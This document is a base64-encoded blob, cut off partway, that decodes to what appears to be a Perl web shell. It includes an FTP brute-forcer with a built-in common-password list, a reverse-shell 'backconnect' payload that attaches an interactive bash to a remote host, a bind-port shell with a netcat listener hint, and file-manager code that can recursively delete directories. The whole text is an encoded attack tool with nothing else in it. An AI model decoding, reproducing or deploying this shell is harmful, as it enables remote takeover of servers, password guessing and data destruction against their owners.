NE9Rb3hNak0wTlRZM09Ea3dDakV4TVRFeE1Rb3dNREF3TURBS01qSXlNakl5Q2pNek16TXpNd28wTkRRME5EUUtOVFUxTlRVMUNqWTJOalkyTmdvM056YzNOemNLT0RnNE9EZzRDams1T1RrNU9Rb3hNak14TWpNS01qTTBNak0wQ2pNME5UTTBOUW8wTlRZME5UWUtOVFkzTlRZM0NqWTNPRFkzT0FvM09EazNPRGtLTVRJek16SXhDalExTmpZMU5BbzJOVFF6TWpFS056WTFORE15TVFvNE56WTFORE15TVFvNU9EYzJOVFF6TWpFS01EazROelkxTkRNeU1RcGhaRzFwYmpFeU13cGhaRzFwYmpFeU16UTFOZ3BoWW1Oa1pXWUtZV0pqWVdKakNpRkFJeUZBSXdvaFFDTWtKVjRLSVVBakpDVmVKaW9vQ2lGQUl5UWtJMEFoQ21GaVl6RXlNd3BoYm1oNVpYVmxiUXBwYkc5MlpYbHZkVHd2ZEdWNGRHRnlaV0UrQ2p3dmRHUStDand2ZEhJK0NqeDBjajRLUEhSa0lHTnZiSE53WVc0OUlqSWlJR0ZzYVdkdVBTSmpaVzUwWlhJaVBncFRiR1ZsY0RvOGMyVnNaV04wSUc1aGJXVTlJbk5zWldWd0lqNEtDanh2Y0hScGIyNCtNRHd2YjNCMGFXOXVQZ284YjNCMGFXOXVQakU4TDI5d2RHbHZiajRLUEc5d2RHbHZiajR5UEM5dmNIUnBiMjQrQ2dvOGIzQjBhVzl1UGpNOEwyOXdkR2x2Ymo0S1BDOXpaV3hsWTNRK0lBbzhhVzV3ZFhRZ2RIbHdaVDBpYzNWaWJXbDBJaUJqYkdGemN6MGljM1ZpYldsMElpQjJZV3gxWlQwaVFuSjFkR1VnUm05eVkyVnlJaTgrUEM5MFpENDhMM1J5UGdvOEwyWnZjbTArQ2p3dmRHRmliR1UrQ2tWT1JBcHlaWFIxY200Z0pISmxjM1ZzZERzS2ZRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdRbkoxZEdVZ1JtOXlZMlZ5Q2lNdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzBLYzNWaUlFSnlkWFJsUm05eVkyVnlDbnNLQ1cxNUlDUnlaWE4xYkhROUlpSTdDZ2trVTJWeWRtVnlQU1JGVGxaN0oxTkZVbFpGVWw5QlJFUlNKMzA3Q2dscFppZ2thVzU3SjNWelpYSW5mU0JsY1NBaUlpa0tDWHNLQ1Fra2NtVnpkV3gwSUM0OUlDWkNjblYwWlVadmNtTmxja1p2Y20wN0NnbDlaV3h6WlFvSmV3b0pDWFZ6WlNCT1pYUTZPa1pVVURzZ0Nna0pRSFZ6WlhJOUlITndiR2wwS0M5Y2JpOHNJQ1JwYm5zbmRYTmxjaWQ5S1RzS0NRbEFjR0Z6Y3owZ2MzQnNhWFFvTDF4dUx5d2dKR2x1ZXlkd1lYTnpKMzBwT3dvSkNXTm9iMjF3S0VCMWMyVnlLVHNLQ1FsamFHOXRjQ2hBY0dGemN5azdDZ2tKSkhKbGMzVnNkQ0F1UFNBaVBHSnlQanhpY2o1YksxMGdWSEo1YVc1bklHSnlkWFJsSUNSVFpYSjJaWEpPWVcxbFBHSnlQajA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQVDA5UGo0K1BqNCtQajQrUGo0K1BEdzhQRHc4UER3OFBEMDlQVDA5UFQwOVBUMDlQVDA5UFQwOVBUMDlQR0p5UGp4aWNqNWNiaUk3Q2drSlptOXlaV0ZqYUNBa2RYTmxjbTVoYldVZ0tFQjFjMlZ5S1FvSkNYc0tDUWtKYVdZb0lTZ2tkWE5sY201aGJXVWdaWEVnSWlJcEtRb0pDUWw3Q2drSkNRbG1iM0psWVdOb0lDUndZWE56ZDI5eVpDQW9RSEJoYzNNcENna0pDUWw3Q2drSkNRa0pKR1owY0NBOUlFNWxkRG82UmxSUUxUNXVaWGNvSkZObGNuWmxjaWtnYjNJZ1pHbGxJQ0pEYjNWc1pDQnViM1FnWTI5dWJtVmpkQ0IwYnlBa1UyVnlkbVZ5VG1GdFpWeHVJanNnQ2drSkNRa0phV1lvSkdaMGNDMCtiRzluYVc0b0lpUjFjMlZ5Ym1GdFpTSXNJaVJ3WVhOemQyOXlaQ0lwS1FvSkNRa0pDWHNLQ1FrSkNRa0pKSEpsYzNWc2RDQXVQU0FpUEdFZ2RHRnlaMlYwUFNkZllteGhibXNuSUdoeVpXWTlKMlowY0Rvdkx5UjFjMlZ5Ym1GdFpUb2tjR0Z6YzNkdmNtUmNRQ1JUWlhKMlpYSW5QbHNyWFNCbWRIQTZMeThrZFhObGNtNWhiV1U2SkhCaGMzTjNiM0prWEVBa1UyVnlkbVZ5UEM5aFBqeGljajVjYmlJN0Nna0pDUWtKQ1NSbWRIQXRQbkYxYVhRb0tUc0tDUWtKQ1FrSlluSmxZV3M3Q2drSkNRa0pmUW9KQ1FrSkNXbG1LQ0VvSkdsdWV5ZHpiR1ZsY0NkOUlHVnhJQ0l3SWlrcENna0pDUWtKZXdvSkNRa0pDUWx6YkdWbGNDaHBiblFvSkdsdWV5ZHpiR1ZsY0NkOUtTazdDZ2tKQ1FrSmZRb0pDUWtKQ1NSbWRIQXRQbkYxYVhRb0tUc0tDUWtKQ1gwS0NRa0pmUW9KQ1gwS0NRa2tjbVZ6ZFd4MElDNDlJQ0pjYmp4aWNqNDlQVDA5UFQwOVBUMDlQajQrUGo0K1BqNCtQaUJHYVc1cGMyaGxaQ0E4UER3OFBEdzhQRHc4UFQwOVBUMDlQVDA5UFR4aWNqNWNiaUk3Q2dsOUNnbHlaWFIxY200Z0pISmxjM1ZzZERzS2ZRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENpTWdRbUZqYTJOdmJtNWxZM1FnUm05eWJRb2pMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdENuTjFZaUJDWVdOclFtbHVaRVp2Y20wS2V3b0pjbVYwZFhKdUlEdzhSVTVFT3dvSlBHSnlQanhpY2o0S0NnazhkR0ZpYkdVK0NnazhkSEkrQ2drOFptOXliU0J1WVcxbFBTSm1JaUJ0WlhSb2IyUTlJbEJQVTFRaUlHRmpkR2x2YmowaUpGTmpjbWx3ZEV4dlkyRjBhVzl1SWo0S0NUeDBaRDVDWVdOclEyOXVibVZqZERvZ1BHbHVjSFYwSUhSNWNHVTlJbWhwWkdSbGJpSWdibUZ0WlQwaVlTSWdkbUZzZFdVOUltSmhZMnRpYVc1a0lqNDhMM1JrUGdvSlBIUmtQaUJJYjNOME9pQThhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU1qQWlJRzVoYldVOUltTnNhV1Z1ZEdGa1pISWlJSFpoYkhWbFBTSWtSVTVXZXlkU1JVMVBWRVZmUVVSRVVpZDlJajRLQ1NCUWIzSjBPaUE4YVc1d2RYUWdkSGx3WlQwaWRHVjRkQ0lnYzJsNlpUMGlOeUlnYm1GdFpUMGlZMnhwWlc1MGNHOXlkQ0lnZG1Gc2RXVTlJamd3SWlCdmJtdGxlWFZ3UFNKa2IyTjFiV1Z1ZEM1blpYUkZiR1Z0Wlc1MFFubEpaQ2duWW1FbktTNXBibTVsY2toVVRVdzlkR2hwY3k1MllXeDFaVHNpUGp3dmRHUStDZ29KUEhSa1BqeHBibkIxZENCdVlXMWxQU0p6SWlCamJHRnpjejBpYzNWaWJXbDBJaUIwZVhCbFBTSnpkV0p0YVhRaUlHNWhiV1U5SW5OMVltMXBkQ0lnZG1Gc2RXVTlJa052Ym01bFkzUWlQand2ZEdRK0NnazhMMlp2Y20wK0NnazhMM1J5UGdvSlBIUnlQZ29KUEhSa0lHTnZiSE53WVc0OU16NDhabTl1ZENCamIyeHZjajBqUmtaR1JrWkdQbHNyWFNCRGJHbGxiblFnYkdsemRHVnVJR0psWm05eVpTQmpiMjV1WldOMElHSmhZMnNoQ2drOFluSStXeXRkSUZSeWVTQmphR1ZqYXlCNWIzVnlJRkJ2Y25RZ2QybDBhQ0E4WVNCMFlYSm5aWFE5SWw5aWJHRnVheUlnYUhKbFpqMGlhSFIwY0RvdkwzZDNkeTVqWVc1NWIzVnpaV1Z0WlM1dmNtY3ZJajVvZEhSd09pOHZkM2QzTG1OaGJubHZkWE5sWlcxbExtOXlaeTg4TDJFK0NnazhZbkkrV3l0ZElFTnNhV1Z1ZENCc2FYTjBaVzRnZDJsMGFDQmpiMjF0WVc1a09pQThjblZ1UG01aklDMTJkaUF0YkNBdGNDQThjM0JoYmlCcFpEMGlZbUVpUGpnd1BDOXpjR0Z1UGp3dmNuVnVQand2Wm05dWRENDhMM1JrUGdvS0NUd3ZkSEkrQ2drOEwzUmhZbXhsUGdvS0NUeGljajQ4WW5JK0NnazhkR0ZpYkdVK0NnazhkSEkrQ2drOFptOXliU0J0WlhSb2IyUTlJbEJQVTFRaUlHRmpkR2x2YmowaUpGTmpjbWx3ZEV4dlkyRjBhVzl1SWo0S0NUeDBaRDVDYVc1a0lGQnZjblE2SUR4cGJuQjFkQ0IwZVhCbFBTSm9hV1JrWlc0aUlHNWhiV1U5SW1FaUlIWmhiSFZsUFNKaVlXTnJZbWx1WkNJK1BDOTBaRDRLQ2drOGRHUStJRkJ2Y25RNklEeHBibkIxZENCMGVYQmxQU0owWlhoMElpQnphWHBsUFNJeE5TSWdibUZ0WlQwaVkyeHBaVzUwY0c5eWRDSWdkbUZzZFdVOUlqRTBNVElpSUc5dWEyVjVkWEE5SW1SdlkzVnRaVzUwTG1kbGRFVnNaVzFsYm5SQ2VVbGtLQ2RpYVNjcExtbHVibVZ5U0ZSTlREMTBhR2x6TG5aaGJIVmxPeUkrQ2dvSklGQmhjM04zYjNKa09pQThhVzV3ZFhRZ2RIbHdaVDBpZEdWNGRDSWdjMmw2WlQwaU1UVWlJRzVoYldVOUltSnBibVJ3WVhOeklpQjJZV3gxWlQwaVZFaEpSVlZIU1VGQ1ZVOU9JajQ4TDNSa1Bnb0pQSFJrUGp4cGJuQjFkQ0J1WVcxbFBTSnpJaUJqYkdGemN6MGljM1ZpYldsMElpQjBlWEJsUFNKemRXSnRhWFFpSUc1aGJXVTlJbk4xWW0xcGRDSWdkbUZzZFdVOUlrSnBibVFpUGp3dmRHUStDZ2s4TDJadmNtMCtDZ2s4TDNSeVBnb0pQSFJ5UGdvSlBIUmtJR052YkhOd1lXNDlNejQ4Wm05dWRDQmpiMnh2Y2owalJrWkdSa1pHUGxzclhTQkRhSFZqSUc1aGJtY2dZMmgxWVNCa1l5QjBaWE4wSVFvSlBHSnlQbHNyWFNCVWNua2dZMjl0YldGdVpEb2dQSEoxYmo1dVl5QWtSVTVXZXlkVFJWSldSVkpmUVVSRVVpZDlJRHh6Y0dGdUlHbGtQU0ppYVNJK01UUXhNand2YzNCaGJqNDhMM0oxYmo0OEwyWnZiblErUEM5MFpENEtDZ2s4TDNSeVBnb0pQQzkwWVdKc1pUNDhZbkkrQ2tWT1JBcDlDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtJeUJDWVdOclkyOXVibVZqZENCMWMyVWdjR1Z5YkFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q25OMVlpQkNZV05yUW1sdVpBcDdDZ2wxYzJVZ1RVbE5SVG82UW1GelpUWTBPd29KZFhObElGTnZZMnRsZERzSkNna2tZbUZqYTNCbGNtdzlJa2w1Ulhaa1dFNTVUREpLY0dKcE9YZGFXRXB6UkZGd01XTXlWV2RUVlRnMlQyeE9kbGt5ZEd4a1JITk9RMmxTVkdGSFZuTmlRV3M1U1VOSmRsbHRiSFZNTWtwb1l6Sm5hVTkzTUV0S1JVWlRVakJOT1ZGRlJsTlNNVmszUkZGd01XTXlWV2RWTWpscVlUSldNRTkzTUV0a1dFNXNTVVZhY0dKSFZrbFpWelZyWWtkVk4wUlJjSHBpTWs1eVdsaFJiMVV3T1VSVE1GWlZURU5DVVZKc09VcFVhMVpWVEVOQ1ZGUXdUa3hZTVU1VlZXdFdRbFJUZDJkYU1sWXdZMGhLZG1SSE9XbGxWelZvWWxkVmIwbHVVbXBqUTBsd1MxTkNkbU5wUW10aFYxVm5ZMGhLY0dKdVVXZEpiSE4wV0ZOQ1ZtSnRSbWxpUjFWblpFYzRaMVZ0Vm5waU1uZ3lXbE5DU1dJelRqQllSelJwVDNjd1Mxa3lPWFZpYlZacVpFTm9WRlF3VGt4U1ZsRnpTVWhPZGxreWRHaGFSMUo1V0RKc2RVdERVa0pWYTJSWFYzcEdaRXhEUW5CaWJWWXdXREpHTUdJeU5HOUtSVVpUVWpGYVlrMUdNSEJMVTJ0bllqTkpaMXBIYkd4SlNFSjVZVmMxTUVsRFNtSk1WakJuVmxjMWFGbHRlR3hKU0ZKMlNVVk9kbUp0Tld4Wk0xRm5VMGM1ZW1SR2VIVkphbk5PUTI1Q2VXRlhOVEJKUTBwRVlqSTFkVnBYVGpCYVYxRm9TV3B6VGtOc1RsQlJNSFJHVmtNd0sxbFlWakJpTWxwelpGaE9iMHREYXpkRVVYQjJZMGRXZFV0R1RsVlNSV3hQVEVOQmFWQnBXbFJVTUU1TVVsWlJhVXRVYzA1RGJUbDNXbGMwYjFVeFVrVlVNVlpWVEVOSkswcHNUbEJSTUhSR1ZrTkpjRTkzTUV0aU0wSnNZbWxvVkZaRlVrWlZiRWx6U1dvMGJWVXdPVVJUTUZaVlNXbHJOMFJSY0hkamJXeDFaRU5CYVV4VE1EbFFVMEpFWWpJMWRWcFhUakJhVjFGblVXMUdhbUV5VW5aaU0wbG5VRlF3ZEV4VFFXZFlSelZqWW1sSk4wUlJjSHBsV0U0d1dsY3diMGx1Vm5Wak1sWXdTVVZvU2xVeFVrZFRWWGhHVDNsQ01XSnVUbXhrUTBKVVVWWmFSbE5GYkZSV1EwRTNXbGRPYjJKNVFXNVhlWFJrU1VaT05XTXpVbXhpVjJ4MVdtMDROa2xEWXpkSlNGWjFXVmN4YkVsRE1XaFBNbFpxWVVjNE4xcFhUbTlpZVVGdVYzbDBaRWxHVm5wYVdFcHdZbTFhZGs5cFFXNVBlVUp3V2tSMGJGa3lhSFpQTWxacVlVYzRaMG94YzNKWVUwSkZZVmhLYkZrelVuWmpibXMyU1VOak4wbElRak5hUkhSc1dUSm9kazk1UW14Wk1taDJTVU5rWWtzeE1HZFZNbWhzWWtkM05rbERZemRLUms1dldsZDRjMGxwYXpkRVVYQnFZa2M1ZWxwVFFsUlVNRTVNVWxaUk55STdDZ2trWW1sdVpIQmxjbXc5SWtsNVJYWmtXRTU1VERKS2NHSnBPWGRhV0VwelJGRndNV015VldkVk1qbHFZVEpXTUU5M01FdEtSVVpUVWpCTk9WRkZSbE5TTVZrM1JGRnZhMk5IT1hsa1FXczVTVU5TUWxWclpGZFhla0prVDNjd1MwcElRbmxpTTFKMlExUXdaMW95VmpCalNFcDJaRWM1YVdWWE5XaGlWMVZ2U2pOU2FtTkRZM0JQZHpCTFNrWk9iMXBYZUhORFZEQm5TV2s1YVdGWE5IWlpiVVo2WVVOSk4wUlJjSHBpTWs1eVdsaFJiMVV3VmxOV2ExWlRURU5DVVZKc09VcFVhMVpWVEVOQ1ZGUXdUa3hZTVU1VlZXdFdRbFJUZDJkS1NFSjVZak5TZGt0WE9YbEpSMUp3V2xOQmFXTXlPV3BoTWxZd1QybFJhRWxxYzA1RGJrNXNaRWhPZGxreWRIWmpTRkZ2VlRCV1UxWnJWbE5NUTBKVVZEQjRabFV3T1VSVE1GWlZURU5DVkZReE9WTlNWbFpVVWxWR1JWSkdTWE5KU0VKb1dUSnpiMGx0ZDJsTVEwRjRTMU5zZG1OcFFtdGhWMVZuU1c1T2JHUklUblpaTW5SMlkwaFJOa2xEVVdoSmFuTk9RMjFLY0dKdFVXOVZNRlpUVm10V1UweERRbnBpTWs1eVdWZFNhMk5zT1hCaWFXZHJZMGM1ZVdSRGQyZFRWVFZDVWtWU1UxZ3dSazlYVTJ0d1lqTkpaMXBIYkd4SlEwcHBZVmMxYTA5cFFXdEpVMGszUkZGd2MyRllUakJhVnpSdlZUQldVMVpyVmxOTVEwSlVWREF4UWxkRlRsQlVhelJ3UTFGc2RtTnBRbXRoVjFWblNXMTRjR016VW14aWFtOW5Ta05GYVU5M01FdGFiVGw1UzBSelowcElRbWhhUjFKNVNVUXdaMWxYVG1wYVdFSXdTMFZPVFZOVlZrOVdRM2RuVlRCV1UxWnJWbE5MVkhObldUSjRkbU15VldkUk1IaEtVbFUxVlV0Uk1FdGxkekJMUTFjNWQxcFhORzlWTVZKRlUxVTBjMGxEU1N0S2EwNU5VMVZXVDFaRFNYQlBkekJMUTFjNWQxcFhORzlWTVZKRlZERldWVXhEUVdsUWFWcEVWRVZzUmxSc1VXbExWSE5PUTJkc2RtTkhWblZMUms1VlVrVldVMVZwZDJkSmFqUnRVVEI0U2xKVk5WVkphV3MzUkZGdlNtTXpiSHBrUjFaMFMwTktNV0p1VG14a1EwSkpVMVpPVlZKcmJFMVNWSE5uWkZjMWVscFlVV2RWTUVaWFVsVm9TbFV4VVdkUE1sWnFZVWM0WjBveGMzSllVMEpVWlZoT01GcFhNWEJpYlZwMlQybEJiazk1UWpGaWJVWjBXbE5CZEZsVWRHeFpNbWgyVHpKV2FtRkhPR2RLTVhOeVdGTkNWbU15Vm5saFZ6VnRZbnB2WjBwNmMyZGhWMUUzV2xkT2IySjZkR3haTW1oMlNVTmtZa3N4TUdkU1IyeDVXbGRPTUdJelNqVlBhVUZ1VDNsQ2QyUXlVVGRhVjA1dllucHpaMXBYVG05aWVVRnVWM2wwWkVsR1RtOWFWM2h6VDJsQmJrOTVVbFJoUjFaellrTkpjRTkzTUV0RFYwNXpZak5PYkV0R1RsVlNSV3hQUzFSelRrTm5iR3BpUnpsNldsTm9WRlpGVWxCV1ZsRndUM2N3UzBOWFRuTmlNMDVzUzBaT1ZWSkZWbE5WYVdzM1JGRndPVVJSYnowaU93b0tDU1JEYkdsbGJuUkJaR1J5SUQwZ0pHbHVleWRqYkdsbGJuUmhaR1J5SjMwN0Nna2tRMnhwWlc1MFVHOXlkQ0E5SUdsdWRDZ2thVzU3SjJOc2FXVnVkSEJ2Y25RbmZTazdDZ2xwWmlna1EyeHBaVzUwVUc5eWRDQmxjU0F3S1FvSmV3b0pDWEpsZEhWeWJpQW1RbUZqYTBKcGJtUkdiM0p0T3dvSmZXVnNjMmxtS0NFa1EyeHBaVzUwUVdSa2NpQmxjU0FpSWlrS0NYc0tDUWtrUkdGMFlUMWtaV052WkdWZlltRnpaVFkwS0NSaVlXTnJjR1Z5YkNrN0Nna0phV1lvTFhjZ0lpOTBiWEF2SWlrS0NRbDdDZ2tKQ1NSR2FXeGxQU0l2ZEcxd0wySmhZMnRqYjI1dVpXTjBMbkJzSWpzSkNna0pmV1ZzYzJVS0NRbDdDZ2tKQ1NSR2FXeGxQU1JEZFhKeVpXNTBSR2x5TGlSUVlYUm9VMlZ3TGlKaVlXTnJZMjl1Ym1WamRDNXdiQ0k3Q2drSmZRb0pDVzl3Wlc0b1JrbE1SU3dnSWo0a1JtbHNaU0lwT3dvSkNYQnlhVzUwSUVaSlRFVWdKRVJoZEdFN0Nna0pZMnh2YzJVZ1JrbE1SVHNLQ1FsemVYTjBaVzBvSW5CbGNtd2dZbUZqYTJOdmJtNWxZM1F1Y0d3Z0pFTnNhV1Z1ZEVGa1pISWdKRU5zYVdWdWRGQnZjblFpS1RzS0NRbDFibXhwYm1zb0pFWnBiR1VwT3dvSkNXVjRhWFFnTURzS0NYMWxiSE5sQ2dsN0Nna0pKRVJoZEdFOVpHVmpiMlJsWDJKaGMyVTJOQ2drWW1sdVpIQmxjbXdwT3dvSkNXbG1LQzEzSUNJdmRHMXdJaWtLQ1FsN0Nna0pDU1JHYVd4bFBTSXZkRzF3TDJKcGJtUndiM0owTG5Cc0lqc0pDZ2tKZldWc2MyVUtDUWw3Q2drSkNTUkdhV3hsUFNSRGRYSnlaVzUwUkdseUxpUlFZWFJvVTJWd0xpSmlhVzVrY0c5eWRDNXdiQ0k3Q2drSmZRb0pDVzl3Wlc0b1JrbE1SU3dnSWo0a1JtbHNaU0lwT3dvSkNYQnlhVzUwSUVaSlRFVWdKRVJoZEdFN0Nna0pZMnh2YzJVZ1JrbE1SVHNLQ1FsemVYTjBaVzBvSW5CbGNtd2dZbWx1WkhCdmNuUXVjR3dnSkVOc2FXVnVkRkJ2Y25RaUtUc0tDUWwxYm14cGJtc29KRVpwYkdVcE93b0pDV1Y0YVhRZ01Ec0tDWDBLZlFvakxTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0Q2lNZ0lFRnljbUY1SUV4cGMzUWdSR2x5WldOMGIzSjVDaU10TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMHRMUzB0TFMwdExTMEtjM1ZpSUZKdFJHbHlLQ1FwSUFwN0NnbHRlU0FrWkdseUlEMGdjMmhwWm5RN0NpQWdJQ0JwWmlodmNHVnVaR2x5S0VSSlVpd2taR2x5S1NrS0NYc0tDUWwzYUdsc1pTZ2tabWxzWlNBOUlISmxZV1JrYVhJb1JFbFNLU2tLQ1FsN0Nna0pDV2xtS0Nna1ptbHNaU0J1WlNBaUxpSXBJQ1ltSUNna1ptbHNaU0J1WlNBaUxpNGlLU2tLQ1FrSmV3b0pDUWtKSkdacGJHVTlJQ1JrYVhJdUpGQmhkR2hUWlhBdUpHWnBiR1U3Q2drSkNRbHBaaWd0WkNBa1ptbHNaU2tLQ1FrSkNYc0tDUWtKQ1FrbVVtMUVhWElvSkdacGJHVXBPd29KQ1FrSmZRb0pDUWtKWld4elpRb0pDUWtKZXdvSkNRa0pDWFZ1YkdsdWF5Z2tabWxzWlNrN0Nna0pDUWw5Q2drSkNYMEtDUWw5Q2drSlkyeHZjMlZrYVhJb1JFbFNLVHNLQ1gwS0NXbG1LQ0Z5YldScGNpZ2taR2x5S1NrS0NYc0tDUWtLQ1gwS2ZRcHpkV0lnUm1sc1pVOTNibVZ5S0NRcENuc0tDVzE1SUNSbWFXeGxJRDBnYzJocFpuUTdDZ2xwWmlndFpTQWtabWxzWlNrS0NYc0tDUWtvSkhWcFpDd2taMmxrS1NBOUlDaHpkR0YwS0NSbWFXeGxLU2xiTkN3MVhUc0tDUWxwWmlna1YybHVUbFFwQ2drSmV3b0pDUWx5WlhSMWNtNGdJajgvUHlJN0Nna0pmUW9KQ1dWc2MyVUtDUWw3Q2drSkNTUnVZVzFsUFdkbGRIQjNkV2xrS0NSMWFXUXBPd29KQ1Fra1ozSnZkWEE5WjJWMFozSm5hV1FvSkdkcFpDazdDZ2tKQ1hKbGRIVnliaUFrYm1GdFpTNGlMeUl1SkdkeWIzVndPd29KQ1gwS0NYMEtDWEpsZEhWeWJpQWlQejgvSWpzS2ZRcHpkV0lnVUdGeVpXNTBSbTlzWkdWeUtDUXBDbnNLQ1cxNUlDUndZWFJvSUQwZ2MyaHBablE3Q2dsdGVTQWtRMjl0YlNBOUlDSmpaQ0JjSWlSRGRYSnlaVzUwUkdseVhDSWlMaVJEYldSVFpYQXVJbU5rSUM0dUlpNGtRMjFrVTJWd0xpUkRiV1JRZDJRN0NnbGphRzl3S0NSd1lYUm9JRDBnWUNSRGIyMXRZQ2s3Q2dseVpYUjFjbTRnSkhCaGRHZzdDbjBLYzNWaUlFWnBiR1ZRWlhKdGN5Z2tLUXA3Q2dsdGVTQWtabWxzWlNBOUlITm9hV1owT3dvSmJYa2dKSFZ5SUQwZ0lpMGlPd29KYlhrZ0pIVjNJRDBnSWkwaU93b0phV1lvTFdVZ0pHWnBiR1VwQ2dsN0Nna0phV1lvSkZkcGJrNVVLUW9KQ1hzS0NRa0phV1lvTFhJZ0pHWnBiR1VwZXlBa2RYSWdQU0FpY2lJN0lIMEtDUWtKYVdZb0xYY2dKR1pwYkdVcGV5QWtkWGNnUFNBaWR5STdJSDBLQ1FrSmNtVjBkWEp1SUNSMWNpQXVJQ0lnTHlBaUlDNGdKSFYzT3dvSkNYMWxiSE5sQ2drSmV3b0pDUWtrYlc5a1pUMG9jM1JoZENna1ptbHNaU2twV3pKZE93b0pDUWtrY21WemRXeDBJRDBnYzNCeWFXNTBaaWdpSlRBMGJ5SXNJQ1J0YjJSbElDWWdNRGMzTnpjcE93b0pDUWx5WlhSMWNtNGdKSEpsYzNWc2REc0tDUWw5Q2dsOUNnbHlaWFIxY200Z0lqQXdNREFpT3dwOUNuTjFZaUJHYVd4bFRHRnpkRTF2WkdsbWFXVmtLQ1FwQ25zS0NXMTVJQ1JtYVd4bElEMGdjMmhwWm5RN0NnbHBaaWd0WlNBa1ptbHNaU2tLQ1hzS0NRa29KR3hoS1NBOUlDaHpkR0YwS0NSbWFXeGxLU2xiT1YwN0Nna0pLQ1JrTENSdExDUjVMQ1JvTENScEtTQTlJQ2hzYjJOaGJIUnBiV1VvSkd4aEtTbGJNeXcwTERVc01pd3hYVHNLQ1Fra2VTQTlJQ1I1SUNzZ01Ua3dNRHNLQ1FsQWJXOXVkR2dnUFNCeGR5OHhJRElnTXlBMElEVWdOaUEzSURnZ09TQXhNQ0F4TVNBeE1pODdDZ2tKSkd4dGRHbHRaU0E5SUhOd2NtbHVkR1lvSWlVd01tUXZKWE12SlRSa0lDVXdNbVE2SlRBeVpDSXNKR1FzSkcxdmJuUm9XeVJ0WFN3a2VTd2thQ3drYVNrN0Nna0pjbVYwZFhKdUlDUnNiWFJwYldVN0NnbDlDZ2x5WlhSMWNtNGdJajgvUHlJN0NuMEtjM1ZpSUVacGJHVlRhWHBsS0NRcENuc0tDVzE1SUNSbWFXeGxJRDBnYzJocFpuUTdDZ2xwWmlndFppQWtabWxzWlNrS0NYc0tDUWx5WlhSMWNtNGdMWE1nSkdacGJHVTdDZ2w5Q2dseVpYUjFjbTRnSWpBaU93b0tmUXB6ZFdJZ1VHRnljMlZHYVd4bFUybDZaU2drS1FwN0NnbHRlU0FrYzJsNlpTQTlJSE5vYVdaME93b0phV1lvSkhOcGVtVWdQRDBnTVRBeU5Da0tDWHNLQ1FseVpYUjFjbTRnSkhOcGVtVXVJQ0lnUWlJN0NnbDlDZ2xsYkhObENnbDdDZ2tKYVdZb0pITnBlbVVnUEQwZ01UQXlOQ294TURJMEtTQUtDUWw3Q2drSkNTUnphWHBsSUQwZ2MzQnlhVzUwWmlnaUpTNHdNbVlpTENSemFYcGxJQzhnTVRBeU5DazdDZ2tKQ1hKbGRIVnliaUFrYzJsNlpTNGlJRXRDSWpzS0NRbDlDZ2tKWld4elpTQUtDUWw3Q2drSkNTUnphWHBsSUQwZ2MzQnlhVzUwWmlnaUpTNHlaaUlzSkhOcGVtVWdMeUF4TURJMElDOGdNVEF5TkNrN0Nna0pDWEpsZEhWeWJpQWtjMmw2WlM0aUlFMUNJanNLQ1FsOUNnbDlDbjBLYzNWaUlIUnlhVzBvSkNrS2V3b0piWGtnSkhOMGNtbHVaeUE5SUhOb2FXWjBPd29KSkhOMGNtbHVaeUE5ZmlCekwxNWNjeXN2THpzS0NTUnpkSEpwYm1jZ1BYNGdjeTljY3lza0x5ODdDZ2x5WlhSMWNtNGdKSE4wY21sdVp6c0tmUXB6ZFdJZ1FXUmtVMnhoYzJobGN5Z2tLUXA3Q2dsdGVTQWtjM1J5YVc1bklEMGdjMmhwWm5RN0Nna2tjM1J5YVc1blBYNGdjeTljWEM5Y1hGeGNMMmM3Q2dseVpYUjFjbTRnSkhOMGNtbHVaenNLZlFwemRXSWdUR2x6ZEVScGNncDdDZ2x0ZVNBa2NHRjBhQ0E5SUNSRGRYSnlaVzUwUkdseUxpUlFZWFJvVTJWd093b0pKSEJoZEdnOWZpQnpMMXhjWEZ3dlhGd3ZaenNLQ1cxNUlDUnlaWE4xYkhRZ1BTQWlQR1p2Y20wZ2JtRnRaVDBuWmljZ1lXTjBhVzl1UFNja1UyTnlhWEIwVEc5allYUnBiMjRuUGp4emNHRnVJSE4wZVd4bFBTZG1iMjUwT2lBeE1YQjBJRlpsY21SaGJtRTdJR1p2Ym5RdGQyVnBaMmgwT2lCaWIyeGtPeWMrVUdGMGFEb2dXeUFpTGlaQlpHUk1hVzVyUkdseUtDSm5kV2tpS1M0aUlGMGdQQzl6Y0dGdVBqeHBibkIxZENCMGVYQmxQU2QwWlhoMEp5QnVZVzF